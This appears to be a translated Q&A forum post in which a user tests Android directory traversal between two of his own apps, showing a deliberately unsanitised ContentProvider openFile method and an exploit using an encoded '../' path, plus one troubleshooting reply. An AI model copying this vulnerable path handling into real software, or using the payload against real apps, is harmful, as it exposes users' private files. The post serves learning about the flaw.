Codice di esempio di attraversamento della directory

8

Sto studiando l'attacco "Directory traversal" nelle applicazioni Android usando questo link

Comprendo il concetto alla base della vulnerabilità che l'input deve essere disinfettato correttamente prima di aprire qualsiasi file. Volevo testare la vulnerabilità, quindi ho un codice di esempio che ho scritto.

Ho 2 app (AppA e AppB) e il mio motivo è sfruttare la vulnerabilità nel metodo openFile del fornitore di contenuti di AppA. È il seguente:

@Nullable
@Override
public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
    String path = Uri.parse(DETAILS_DIRECTORY + uri).getLastPathSegment();
    File file = new File(DETAILS_DIRECTORY, path);
    Log.v ("gaurav", "path : " + path);
    Log.v ("gaurav", "File exists: " + file.exists());

    return ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_ONLY);
}

dove DETAILS_DIRECTORY è:

private static final String DETAILS_DIRECTORY = "abc/efg/";

Quindi, usando la directory traversal il mio motivo è accedere

/storage/sdcard/hello_world/logs

Il codice utilizzato per sfruttare la vulnerabilità è (in AppB):

String target = "content://com.android.AppA.Provider/friends/" +
            "%2E%2E%2F%2E%2E%2Fstorage%2Fsdcard%2Fhello_world%2Flogs";

ContentResolver cr = mContext.getContentResolver();
FileInputStream fis = null;
try {
      fis = (FileInputStream) cr.openInputStream(Uri.parse(target));
} catch (FileNotFoundException e) {
      e.printStackTrace();
}

Quello che ho capito dal link precedente è che è effettivamente possibile accedere ad alcuni file in qualche altra directory (diversa dalla directory predefinita configurata, che in questo caso è DETAILS_DIRECTORY). Ma se eseguo entrambe le app e provo ad attaccare, il percorso finale che ottengo è di tipo / storage / sdcard / hello_world / logs che è effettivamente corretto ma file.exists () mi dà false nel log, e causa anche FileNotFoundException per ovvi motivi. C'è un modo per andare alla directory radice e accedere il percorso desiderato? Apprezzerei molto l'aiuto in merito.

AGGIORNAMENTO: Tutto si riduce al fatto che quando ho percorso file come "/ storage / sdcard / hello_world / logs", tutto funziona correttamente e tutti i metodi (canRead (), isFile (), exists ()) restituiscono true, ma quando il percorso del file è "/abc/efg/../../../storage/sdcard/hello_world/logs", i metodi restituiscono false e il file non viene trovato. Quindi non sono in grado di capire come usare l'API dei file per accedere ai file che contengono "../" nel loro percorso.

    
posta gaurav jain 28.12.2015 - 14:33
fonte

1 risposta

0

abc / efg è una directory valida? Si prega di controllare. Se non esiste, potrebbe non essere in grado di risolvere il percorso ed è per questo che tali metodi restituiscono false. Basta fare questo piccolo assegno. Potresti riuscire a capire da qualche parte il bug nel percorso della directory. Quindi spero che "abc" e "efg" siano directory valide.

    
risposta data 05.01.2016 - 13:54
fonte

Leggi altre domande sui tag